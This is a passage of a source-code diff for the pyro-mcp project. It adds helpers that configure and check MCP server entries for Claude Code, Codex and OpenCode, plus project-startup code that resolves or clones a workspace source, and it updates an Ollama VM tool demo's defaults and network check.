parser.add_argument("--environment", default=DEFAULT_PREPARE_ENVIRONMENT)
|
||||||
return parser
|
return parser
|
||||||
|
|
||||||
|
|
||||||
def main() -> None:
|
def main() -> None:
|
||||||
args = _build_parser().parse_args()
|
args = _build_parser().parse_args()
|
||||||
report = doctor_report(platform=args.platform)
|
report = doctor_report(platform=args.platform, environment=args.environment)
|
||||||
print(json.dumps(report, indent=2, sort_keys=True))
|
print(json.dumps(report, indent=2, sort_keys=True))
|
||||||
|
|
|
||||||
370
src/pyro_mcp/host_helpers.py
Normal file
370
src/pyro_mcp/host_helpers.py
Normal file
|
|
@ -0,0 +1,370 @@
|
||||||
|
"""Helpers for bootstrapping and repairing supported MCP chat hosts."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import shlex
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Literal
|
||||||
|
|
||||||
|
from pyro_mcp.api import McpToolProfile, WorkspaceUseCaseMode
|
||||||
|
|
||||||
|
SUPPORTED_HOST_CONNECT_TARGETS = ("claude-code", "codex")
|
||||||
|
SUPPORTED_HOST_REPAIR_TARGETS = ("claude-code", "codex", "opencode")
|
||||||
|
SUPPORTED_HOST_PRINT_CONFIG_TARGETS = ("opencode",)
|
||||||
|
DEFAULT_HOST_SERVER_NAME = "pyro"
|
||||||
|
DEFAULT_OPENCODE_CONFIG_PATH = Path.home() / ".config" / "opencode" / "opencode.json"
|
||||||
|
|
||||||
|
HostStatus = Literal["drifted", "missing", "ok", "unavailable"]
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class HostServerConfig:
|
||||||
|
installed_package: bool = False
|
||||||
|
profile: McpToolProfile = "workspace-core"
|
||||||
|
mode: WorkspaceUseCaseMode | None = None
|
||||||
|
project_path: str | None = None
|
||||||
|
repo_url: str | None = None
|
||||||
|
repo_ref: str | None = None
|
||||||
|
no_project_source: bool = False
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class HostDoctorEntry:
|
||||||
|
host: str
|
||||||
|
installed: bool
|
||||||
|
configured: bool
|
||||||
|
status: HostStatus
|
||||||
|
details: str
|
||||||
|
repair_command: str
|
||||||
|
|
||||||
|
|
||||||
|
def _run_command(command: list[str]) -> subprocess.CompletedProcess[str]:
|
||||||
|
return subprocess.run( # noqa: S603
|
||||||
|
command,
|
||||||
|
check=False,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _host_binary(host: str) -> str:
|
||||||
|
if host == "claude-code":
|
||||||
|
return "claude"
|
||||||
|
if host == "codex":
|
||||||
|
return "codex"
|
||||||
|
raise ValueError(f"unsupported CLI host {host!r}")
|
||||||
|
|
||||||
|
|
||||||
|
def _canonical_server_command(config: HostServerConfig) -> list[str]:
|
||||||
|
if config.mode is not None and config.profile != "workspace-core":
|
||||||
|
raise ValueError("--mode and --profile are mutually exclusive")
|
||||||
|
if config.project_path is not None and config.repo_url is not None:
|
||||||
|
raise ValueError("--project-path and --repo-url are mutually exclusive")
|
||||||
|
if config.no_project_source and (
|
||||||
|
config.project_path is not None
|
||||||
|
or config.repo_url is not None
|
||||||
|
or config.repo_ref is not None
|
||||||
|
):
|
||||||
|
raise ValueError(
|
||||||
|
"--no-project-source cannot be combined with --project-path, --repo-url, or --repo-ref"
|
||||||
|
)
|
||||||
|
if config.repo_ref is not None and config.repo_url is None:
|
||||||
|
raise ValueError("--repo-ref requires --repo-url")
|
||||||
|
|
||||||
|
command = ["pyro", "mcp", "serve"]
|
||||||
|
if not config.installed_package:
|
||||||
|
command = ["uvx", "--from", "pyro-mcp", *command]
|
||||||
|
if config.mode is not None:
|
||||||
|
command.extend(["--mode", config.mode])
|
||||||
|
elif config.profile != "workspace-core":
|
||||||
|
command.extend(["--profile", config.profile])
|
||||||
|
if config.project_path is not None:
|
||||||
|
command.extend(["--project-path", config.project_path])
|
||||||
|
elif config.repo_url is not None:
|
||||||
|
command.extend(["--repo-url", config.repo_url])
|
||||||
|
if config.repo_ref is not None:
|
||||||
|
command.extend(["--repo-ref", config.repo_ref])
|
||||||
|
elif config.no_project_source:
|
||||||
|
command.append("--no-project-source")
|
||||||
|
return command
|
||||||
|
|
||||||
|
|
||||||
|
def _render_cli_command(command: list[str]) -> str:
|
||||||
|
return shlex.join(command)
|
||||||
|
|
||||||
|
|
||||||
|
def _repair_command(host: str, config: HostServerConfig, *, config_path: Path | None = None) -> str:
|
||||||
|
command = ["pyro", "host", "repair", host]
|
||||||
|
if config.installed_package:
|
||||||
|
command.append("--installed-package")
|
||||||
|
if config.mode is not None:
|
||||||
|
command.extend(["--mode", config.mode])
|
||||||
|
elif config.profile != "workspace-core":
|
||||||
|
command.extend(["--profile", config.profile])
|
||||||
|
if config.project_path is not None:
|
||||||
|
command.extend(["--project-path", config.project_path])
|
||||||
|
elif config.repo_url is not None:
|
||||||
|
command.extend(["--repo-url", config.repo_url])
|
||||||
|
if config.repo_ref is not None:
|
||||||
|
command.extend(["--repo-ref", config.repo_ref])
|
||||||
|
elif config.no_project_source:
|
||||||
|
command.append("--no-project-source")
|
||||||
|
if config_path is not None:
|
||||||
|
command.extend(["--config-path", str(config_path)])
|
||||||
|
return _render_cli_command(command)
|
||||||
|
|
||||||
|
|
||||||
|
def _command_matches(output: str, expected: list[str]) -> bool:
|
||||||
|
normalized_output = output.strip()
|
||||||
|
if ":" in normalized_output:
|
||||||
|
normalized_output = normalized_output.split(":", 1)[1].strip()
|
||||||
|
try:
|
||||||
|
parsed = shlex.split(normalized_output)
|
||||||
|
except ValueError:
|
||||||
|
parsed = normalized_output.split()
|
||||||
|
return parsed == expected
|
||||||
|
|
||||||
|
|
||||||
|
def _upsert_opencode_config(
|
||||||
|
*,
|
||||||
|
config_path: Path,
|
||||||
|
config: HostServerConfig,
|
||||||
|
) -> tuple[dict[str, object], Path | None]:
|
||||||
|
existing_payload: dict[str, object] = {}
|
||||||
|
backup_path: Path | None = None
|
||||||
|
if config_path.exists():
|
||||||
|
raw_text = config_path.read_text(encoding="utf-8")
|
||||||
|
try:
|
||||||
|
parsed = json.loads(raw_text)
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
|
||||||
|
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
|
||||||
|
shutil.move(str(config_path), str(backup_path))
|
||||||
|
parsed = {}
|
||||||
|
if isinstance(parsed, dict):
|
||||||
|
existing_payload = parsed
|
||||||
|
else:
|
||||||
|
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
|
||||||
|
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
|
||||||
|
shutil.move(str(config_path), str(backup_path))
|
||||||
|
payload = dict(existing_payload)
|
||||||
|
mcp_payload = payload.get("mcp")
|
||||||
|
if not isinstance(mcp_payload, dict):
|
||||||
|
mcp_payload = {}
|
||||||
|
else:
|
||||||
|
mcp_payload = dict(mcp_payload)
|
||||||
|
mcp_payload[DEFAULT_HOST_SERVER_NAME] = canonical_opencode_entry(config)
|
||||||
|
payload["mcp"] = mcp_payload
|
||||||
|
return payload, backup_path
|
||||||
|
|
||||||
|
|
||||||
|
def canonical_opencode_entry(config: HostServerConfig) -> dict[str, object]:
|
||||||
|
return {
|
||||||
|
"type": "local",
|
||||||
|
"enabled": True,
|
||||||
|
"command": _canonical_server_command(config),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def render_opencode_config(config: HostServerConfig) -> str:
|
||||||
|
return (
|
||||||
|
json.dumps(
|
||||||
|
{"mcp": {DEFAULT_HOST_SERVER_NAME: canonical_opencode_entry(config)}},
|
||||||
|
indent=2,
|
||||||
|
)
|
||||||
|
+ "\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def print_or_write_opencode_config(
|
||||||
|
*,
|
||||||
|
config: HostServerConfig,
|
||||||
|
output_path: Path | None = None,
|
||||||
|
) -> dict[str, object]:
|
||||||
|
rendered = render_opencode_config(config)
|
||||||
|
if output_path is None:
|
||||||
|
return {
|
||||||
|
"host": "opencode",
|
||||||
|
"rendered_config": rendered,
|
||||||
|
"server_command": _canonical_server_command(config),
|
||||||
|
}
|
||||||
|
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
output_path.write_text(rendered, encoding="utf-8")
|
||||||
|
return {
|
||||||
|
"host": "opencode",
|
||||||
|
"output_path": str(output_path),
|
||||||
|
"server_command": _canonical_server_command(config),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def connect_cli_host(host: str, *, config: HostServerConfig) -> dict[str, object]:
|
||||||
|
binary = _host_binary(host)
|
||||||
|
if shutil.which(binary) is None:
|
||||||
|
raise RuntimeError(f"{binary} CLI is not installed or not on PATH")
|
||||||
|
server_command = _canonical_server_command(config)
|
||||||
|
_run_command([binary, "mcp", "remove", DEFAULT_HOST_SERVER_NAME])
|
||||||
|
result = _run_command([binary, "mcp", "add", DEFAULT_HOST_SERVER_NAME, "--", *server_command])
|
||||||
|
if result.returncode != 0:
|
||||||
|
details = (result.stderr or result.stdout).strip() or f"{binary} mcp add failed"
|
||||||
|
raise RuntimeError(details)
|
||||||
|
return {
|
||||||
|
"host": host,
|
||||||
|
"server_command": server_command,
|
||||||
|
"verification_command": [binary, "mcp", "list"],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def repair_opencode_host(
|
||||||
|
*,
|
||||||
|
config: HostServerConfig,
|
||||||
|
config_path: Path | None = None,
|
||||||
|
) -> dict[str, object]:
|
||||||
|
resolved_path = (
|
||||||
|
DEFAULT_OPENCODE_CONFIG_PATH
|
||||||
|
if config_path is None
|
||||||
|
else config_path.expanduser().resolve()
|
||||||
|
)
|
||||||
|
resolved_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
payload, backup_path = _upsert_opencode_config(config_path=resolved_path, config=config)
|
||||||
|
resolved_path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8")
|
||||||
|
result: dict[str, object] = {
|
||||||
|
"host": "opencode",
|
||||||
|
"config_path": str(resolved_path),
|
||||||
|
"server_command": _canonical_server_command(config),
|
||||||
|
}
|
||||||
|
if backup_path is not None:
|
||||||
|
result["backup_path"] = str(backup_path)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def repair_host(
|
||||||
|
host: str,
|
||||||
|
*,
|
||||||
|
config: HostServerConfig,
|
||||||
|
config_path: Path | None = None,
|
||||||
|
) -> dict[str, object]:
|
||||||
|
if host == "opencode":
|
||||||
|
return repair_opencode_host(config=config, config_path=config_path)
|
||||||
|
return connect_cli_host(host, config=config)
|
||||||
|
|
||||||
|
|
||||||
|
def _doctor_cli_host(host: str, *, config: HostServerConfig) -> HostDoctorEntry:
|
||||||
|
binary = _host_binary(host)
|
||||||
|
repair_command = _repair_command(host, config)
|
||||||
|
if shutil.which(binary) is None:
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host=host,
|
||||||
|
installed=False,
|
||||||
|
configured=False,
|
||||||
|
status="unavailable",
|
||||||
|
details=f"{binary} CLI was not found on PATH",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
expected_command = _canonical_server_command(config)
|
||||||
|
get_result = _run_command([binary, "mcp", "get", DEFAULT_HOST_SERVER_NAME])
|
||||||
|
combined_get_output = (get_result.stdout + get_result.stderr).strip()
|
||||||
|
if get_result.returncode == 0:
|
||||||
|
status: HostStatus = (
|
||||||
|
"ok" if _command_matches(combined_get_output, expected_command) else "drifted"
|
||||||
|
)
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host=host,
|
||||||
|
installed=True,
|
||||||
|
configured=True,
|
||||||
|
status=status,
|
||||||
|
details=combined_get_output or f"{binary} MCP entry exists",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
|
||||||
|
list_result = _run_command([binary, "mcp", "list"])
|
||||||
|
combined_list_output = (list_result.stdout + list_result.stderr).strip()
|
||||||
|
configured = DEFAULT_HOST_SERVER_NAME in combined_list_output.split()
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host=host,
|
||||||
|
installed=True,
|
||||||
|
configured=configured,
|
||||||
|
status="drifted" if configured else "missing",
|
||||||
|
details=combined_get_output or combined_list_output or f"{binary} MCP entry missing",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _doctor_opencode_host(
|
||||||
|
*,
|
||||||
|
config: HostServerConfig,
|
||||||
|
config_path: Path | None = None,
|
||||||
|
) -> HostDoctorEntry:
|
||||||
|
resolved_path = (
|
||||||
|
DEFAULT_OPENCODE_CONFIG_PATH
|
||||||
|
if config_path is None
|
||||||
|
else config_path.expanduser().resolve()
|
||||||
|
)
|
||||||
|
repair_command = _repair_command("opencode", config, config_path=config_path)
|
||||||
|
installed = shutil.which("opencode") is not None
|
||||||
|
if not resolved_path.exists():
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host="opencode",
|
||||||
|
installed=installed,
|
||||||
|
configured=False,
|
||||||
|
status="missing" if installed else "unavailable",
|
||||||
|
details=f"OpenCode config missing at {resolved_path}",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
payload = json.loads(resolved_path.read_text(encoding="utf-8"))
|
||||||
|
except json.JSONDecodeError as exc:
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host="opencode",
|
||||||
|
installed=installed,
|
||||||
|
configured=False,
|
||||||
|
status="drifted" if installed else "unavailable",
|
||||||
|
details=f"OpenCode config is invalid JSON: {exc}",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host="opencode",
|
||||||
|
installed=installed,
|
||||||
|
configured=False,
|
||||||
|
status="drifted" if installed else "unavailable",
|
||||||
|
details="OpenCode config must be a JSON object",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
mcp_payload = payload.get("mcp")
|
||||||
|
if not isinstance(mcp_payload, dict) or DEFAULT_HOST_SERVER_NAME not in mcp_payload:
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host="opencode",
|
||||||
|
installed=installed,
|
||||||
|
configured=False,
|
||||||
|
status="missing" if installed else "unavailable",
|
||||||
|
details=f"OpenCode config at {resolved_path} is missing mcp.pyro",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
configured_entry = mcp_payload[DEFAULT_HOST_SERVER_NAME]
|
||||||
|
expected_entry = canonical_opencode_entry(config)
|
||||||
|
status: HostStatus = "ok" if configured_entry == expected_entry else "drifted"
|
||||||
|
return HostDoctorEntry(
|
||||||
|
host="opencode",
|
||||||
|
installed=installed,
|
||||||
|
configured=True,
|
||||||
|
status=status,
|
||||||
|
details=f"OpenCode config path: {resolved_path}",
|
||||||
|
repair_command=repair_command,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def doctor_hosts(
|
||||||
|
*,
|
||||||
|
config: HostServerConfig,
|
||||||
|
config_path: Path | None = None,
|
||||||
|
) -> list[HostDoctorEntry]:
|
||||||
|
return [
|
||||||
|
_doctor_cli_host("claude-code", config=config),
|
||||||
|
_doctor_cli_host("codex", config=config),
|
||||||
|
_doctor_opencode_host(config=config, config_path=config_path),
|
||||||
|
]
|
||||||
|
|
@ -10,17 +10,23 @@ from collections.abc import Callable
|
||||||
from typing import Any, Final, cast
|
from typing import Any, Final, cast
|
||||||
|
|
||||||
from pyro_mcp.api import Pyro
|
from pyro_mcp.api import Pyro
|
||||||
|
from pyro_mcp.vm_manager import (
|
||||||
|
DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
DEFAULT_MEM_MIB,
|
||||||
|
DEFAULT_TIMEOUT_SECONDS,
|
||||||
|
DEFAULT_TTL_SECONDS,
|
||||||
|
DEFAULT_VCPU_COUNT,
|
||||||
|
)
|
||||||
|
|
||||||
__all__ = ["Pyro", "run_ollama_tool_demo"]
|
__all__ = ["Pyro", "run_ollama_tool_demo"]
|
||||||
|
|
||||||
DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1"
|
DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1"
|
||||||
DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b"
|
DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b"
|
||||||
MAX_TOOL_ROUNDS: Final[int] = 12
|
MAX_TOOL_ROUNDS: Final[int] = 12
|
||||||
CLONE_TARGET_DIR: Final[str] = "hello-world"
|
|
||||||
NETWORK_PROOF_COMMAND: Final[str] = (
|
NETWORK_PROOF_COMMAND: Final[str] = (
|
||||||
"rm -rf hello-world "
|
'python3 -c "import urllib.request as u; '
|
||||||
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
|
"print(u.urlopen('https://example.com').status)"
|
||||||
"&& git -C hello-world rev-parse --is-inside-work-tree"
|
'"'
|
||||||
)
|
)
|
||||||
|
|
||||||
TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
||||||
|
|
@ -39,8 +45,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
||||||
"timeout_seconds": {"type": "integer"},
|
"timeout_seconds": {"type": "integer"},
|
||||||
"ttl_seconds": {"type": "integer"},
|
"ttl_seconds": {"type": "integer"},
|
||||||
"network": {"type": "boolean"},
|
"network": {"type": "boolean"},
|
||||||
|
"allow_host_compat": {"type": "boolean"},
|
||||||
},
|
},
|
||||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
"required": ["environment", "command"],
|
||||||
"additionalProperties": False,
|
"additionalProperties": False,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|
@ -61,7 +68,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
||||||
"type": "function",
|
"type": "function",
|
||||||
"function": {
|
"function": {
|
||||||
"name": "vm_create",
|
"name": "vm_create",
|
||||||
"description": "Create an ephemeral VM with explicit vCPU and memory sizing.",
|
"description": "Create an ephemeral VM with optional resource sizing.",
|
||||||
"parameters": {
|
"parameters": {
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
|
|
@ -70,8 +77,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
|
||||||
"mem_mib": {"type": "integer"},
|
"mem_mib": {"type": "integer"},
|
||||||
"ttl_seconds": {"type": "integer"},
|
"ttl_seconds": {"type": "integer"},
|
||||||
"network": {"type": "boolean"},
|
"network": {"type": "boolean"},
|
||||||
|
"allow_host_compat": {"type": "boolean"},
|
||||||
},
|
},
|
||||||
"required": ["environment", "vcpu_count", "mem_mib"],
|
"required": ["environment"],
|
||||||
"additionalProperties": False,
|
"additionalProperties": False,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|
@ -192,6 +200,12 @@ def _require_int(arguments: dict[str, Any], key: str) -> int:
|
||||||
raise ValueError(f"{key} must be an integer")
|
raise ValueError(f"{key} must be an integer")
|
||||||
|
|
||||||
|
|
||||||
|
def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int:
|
||||||
|
if key not in arguments:
|
||||||
|
return default
|
||||||
|
return _require_int(arguments, key)
|
||||||
|
|
||||||
|
|
||||||
def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool:
|
def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool:
|
||||||
value = arguments.get(key, default)
|
value = arguments.get(key, default)
|
||||||
if isinstance(value, bool):
|
if isinstance(value, bool):
|
||||||
|
|
@ -211,27 +225,37 @@ def _dispatch_tool_call(
|
||||||
pyro: Pyro, tool_name: str, arguments: dict[str, Any]
|
pyro: Pyro, tool_name: str, arguments: dict[str, Any]
|
||||||
) -> dict[str, Any]:
|
) -> dict[str, Any]:
|
||||||
if tool_name == "vm_run":
|
if tool_name == "vm_run":
|
||||||
ttl_seconds = arguments.get("ttl_seconds", 600)
|
ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
|
||||||
timeout_seconds = arguments.get("timeout_seconds", 30)
|
timeout_seconds = arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)
|
||||||
return pyro.run_in_vm(
|
return pyro.run_in_vm(
|
||||||
environment=_require_str(arguments, "environment"),
|
environment=_require_str(arguments, "environment"),
|
||||||
command=_require_str(arguments, "command"),
|
command=_require_str(arguments, "command"),
|
||||||
vcpu_count=_require_int(arguments, "vcpu_count"),
|
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
|
||||||
mem_mib=_require_int(arguments, "mem_mib"),
|
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
|
||||||
timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"),
|
timeout_seconds=_require_int({"timeout_seconds": timeout_seconds}, "timeout_seconds"),
|
||||||
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
||||||
network=_require_bool(arguments, "network", default=False),
|
network=_require_bool(arguments, "network", default=False),
|
||||||
|
allow_host_compat=_require_bool(
|
||||||
|
arguments,
|
||||||
|
"allow_host_compat",
|
||||||
|
default=DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
),
|
||||||
)
|
)
|
||||||
if tool_name == "vm_list_environments":
|
if tool_name == "vm_list_environments":
|
||||||
return {"environments": pyro.list_environments()}
|
return {"environments": pyro.list_environments()}
|
||||||
if tool_name == "vm_create":
|
if tool_name == "vm_create":
|
||||||
ttl_seconds = arguments.get("ttl_seconds", 600)
|
ttl_seconds = arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)
|
||||||
return pyro.create_vm(
|
return pyro.create_vm(
|
||||||
environment=_require_str(arguments, "environment"),
|
environment=_require_str(arguments, "environment"),
|
||||||
vcpu_count=_require_int(arguments, "vcpu_count"),
|
vcpu_count=_optional_int(arguments, "vcpu_count", default=DEFAULT_VCPU_COUNT),
|
||||||
mem_mib=_require_int(arguments, "mem_mib"),
|
mem_mib=_optional_int(arguments, "mem_mib", default=DEFAULT_MEM_MIB),
|
||||||
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
ttl_seconds=_require_int({"ttl_seconds": ttl_seconds}, "ttl_seconds"),
|
||||||
network=_require_bool(arguments, "network", default=False),
|
network=_require_bool(arguments, "network", default=False),
|
||||||
|
allow_host_compat=_require_bool(
|
||||||
|
arguments,
|
||||||
|
"allow_host_compat",
|
||||||
|
default=DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
),
|
||||||
)
|
)
|
||||||
if tool_name == "vm_start":
|
if tool_name == "vm_start":
|
||||||
return pyro.start_vm(_require_str(arguments, "vm_id"))
|
return pyro.start_vm(_require_str(arguments, "vm_id"))
|
||||||
|
|
@ -275,10 +299,10 @@ def _run_direct_lifecycle_fallback(pyro: Pyro) -> dict[str, Any]:
|
||||||
return pyro.run_in_vm(
|
return pyro.run_in_vm(
|
||||||
environment="debian:12",
|
environment="debian:12",
|
||||||
command=NETWORK_PROOF_COMMAND,
|
command=NETWORK_PROOF_COMMAND,
|
||||||
vcpu_count=1,
|
vcpu_count=DEFAULT_VCPU_COUNT,
|
||||||
mem_mib=512,
|
mem_mib=DEFAULT_MEM_MIB,
|
||||||
timeout_seconds=60,
|
timeout_seconds=60,
|
||||||
ttl_seconds=600,
|
ttl_seconds=DEFAULT_TTL_SECONDS,
|
||||||
network=True,
|
network=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
||||||
149
src/pyro_mcp/project_startup.py
Normal file
149
src/pyro_mcp/project_startup.py
Normal file
|
|
@ -0,0 +1,149 @@
|
||||||
|
"""Server-scoped project startup source helpers for MCP chat flows."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
from contextlib import contextmanager
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Iterator, Literal
|
||||||
|
|
||||||
|
ProjectStartupSourceKind = Literal["project_path", "repo_url"]
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class ProjectStartupSource:
|
||||||
|
"""Server-scoped default source for workspace creation."""
|
||||||
|
|
||||||
|
kind: ProjectStartupSourceKind
|
||||||
|
origin_ref: str
|
||||||
|
resolved_path: Path | None = None
|
||||||
|
repo_ref: str | None = None
|
||||||
|
|
||||||
|
|
||||||
|
def _run_git(command: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]:
|
||||||
|
return subprocess.run( # noqa: S603
|
||||||
|
command,
|
||||||
|
cwd=str(cwd) if cwd is not None else None,
|
||||||
|
check=False,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _detect_git_root(start_dir: Path) -> Path | None:
|
||||||
|
result = _run_git(["git", "rev-parse", "--show-toplevel"], cwd=start_dir)
|
||||||
|
if result.returncode != 0:
|
||||||
|
return None
|
||||||
|
stdout = result.stdout.strip()
|
||||||
|
if stdout == "":
|
||||||
|
return None
|
||||||
|
return Path(stdout).expanduser().resolve()
|
||||||
|
|
||||||
|
|
||||||
|
def _resolve_project_path(project_path: str | Path, *, cwd: Path) -> Path:
|
||||||
|
resolved = Path(project_path).expanduser()
|
||||||
|
if not resolved.is_absolute():
|
||||||
|
resolved = (cwd / resolved).resolve()
|
||||||
|
else:
|
||||||
|
resolved = resolved.resolve()
|
||||||
|
if not resolved.exists():
|
||||||
|
raise ValueError(f"project_path {resolved} does not exist")
|
||||||
|
if not resolved.is_dir():
|
||||||
|
raise ValueError(f"project_path {resolved} must be a directory")
|
||||||
|
git_root = _detect_git_root(resolved)
|
||||||
|
if git_root is not None:
|
||||||
|
return git_root
|
||||||
|
return resolved
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_project_startup_source(
|
||||||
|
*,
|
||||||
|
project_path: str | Path | None = None,
|
||||||
|
repo_url: str | None = None,
|
||||||
|
repo_ref: str | None = None,
|
||||||
|
no_project_source: bool = False,
|
||||||
|
cwd: Path | None = None,
|
||||||
|
) -> ProjectStartupSource | None:
|
||||||
|
working_dir = Path.cwd() if cwd is None else cwd.resolve()
|
||||||
|
if no_project_source:
|
||||||
|
if project_path is not None or repo_url is not None or repo_ref is not None:
|
||||||
|
raise ValueError(
|
||||||
|
"--no-project-source cannot be combined with --project-path, "
|
||||||
|
"--repo-url, or --repo-ref"
|
||||||
|
)
|
||||||
|
return None
|
||||||
|
if project_path is not None and repo_url is not None:
|
||||||
|
raise ValueError("--project-path and --repo-url are mutually exclusive")
|
||||||
|
if repo_ref is not None and repo_url is None:
|
||||||
|
raise ValueError("--repo-ref requires --repo-url")
|
||||||
|
if project_path is not None:
|
||||||
|
resolved_path = _resolve_project_path(project_path, cwd=working_dir)
|
||||||
|
return ProjectStartupSource(
|
||||||
|
kind="project_path",
|
||||||
|
origin_ref=str(resolved_path),
|
||||||
|
resolved_path=resolved_path,
|
||||||
|
)
|
||||||
|
if repo_url is not None:
|
||||||
|
normalized_repo_url = repo_url.strip()
|
||||||
|
if normalized_repo_url == "":
|
||||||
|
raise ValueError("--repo-url must not be empty")
|
||||||
|
normalized_repo_ref = None if repo_ref is None else repo_ref.strip()
|
||||||
|
if normalized_repo_ref == "":
|
||||||
|
raise ValueError("--repo-ref must not be empty")
|
||||||
|
return ProjectStartupSource(
|
||||||
|
kind="repo_url",
|
||||||
|
origin_ref=normalized_repo_url,
|
||||||
|
repo_ref=normalized_repo_ref,
|
||||||
|
)
|
||||||
|
detected_root = _detect_git_root(working_dir)
|
||||||
|
if detected_root is None:
|
||||||
|
return None
|
||||||
|
return ProjectStartupSource(
|
||||||
|
kind="project_path",
|
||||||
|
origin_ref=str(detected_root),
|
||||||
|
resolved_path=detected_root,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def materialize_project_startup_source(source: ProjectStartupSource) -> Iterator[Path]:
|
||||||
|
if source.kind == "project_path":
|
||||||
|
if source.resolved_path is None:
|
||||||
|
raise RuntimeError("project_path source is missing a resolved path")
|
||||||
|
yield source.resolved_path
|
||||||
|
return
|
||||||
|
|
||||||
|
temp_dir = Path(tempfile.mkdtemp(prefix="pyro-project-source-"))
|
||||||
|
clone_dir = temp_dir / "clone"
|
||||||
|
try:
|
||||||
|
clone_result = _run_git(["git", "clone", "--quiet", source.origin_ref, str(clone_dir)])
|
||||||
|
if clone_result.returncode != 0:
|
||||||
|
stderr = clone_result.stderr.strip() or "git clone failed"
|
||||||
|
raise RuntimeError(f"failed to clone repo_url {source.origin_ref!r}: {stderr}")
|
||||||
|
if source.repo_ref is not None:
|
||||||
|
checkout_result = _run_git(
|
||||||
|
["git", "checkout", "--quiet", source.repo_ref],
|
||||||
|
cwd=clone_dir,
|
||||||
|
)
|
||||||
|
if checkout_result.returncode != 0:
|
||||||
|
stderr = checkout_result.stderr.strip() or "git checkout failed"
|
||||||
|
raise RuntimeError(
|
||||||
|
f"failed to checkout repo_ref {source.repo_ref!r} for "
|
||||||
|
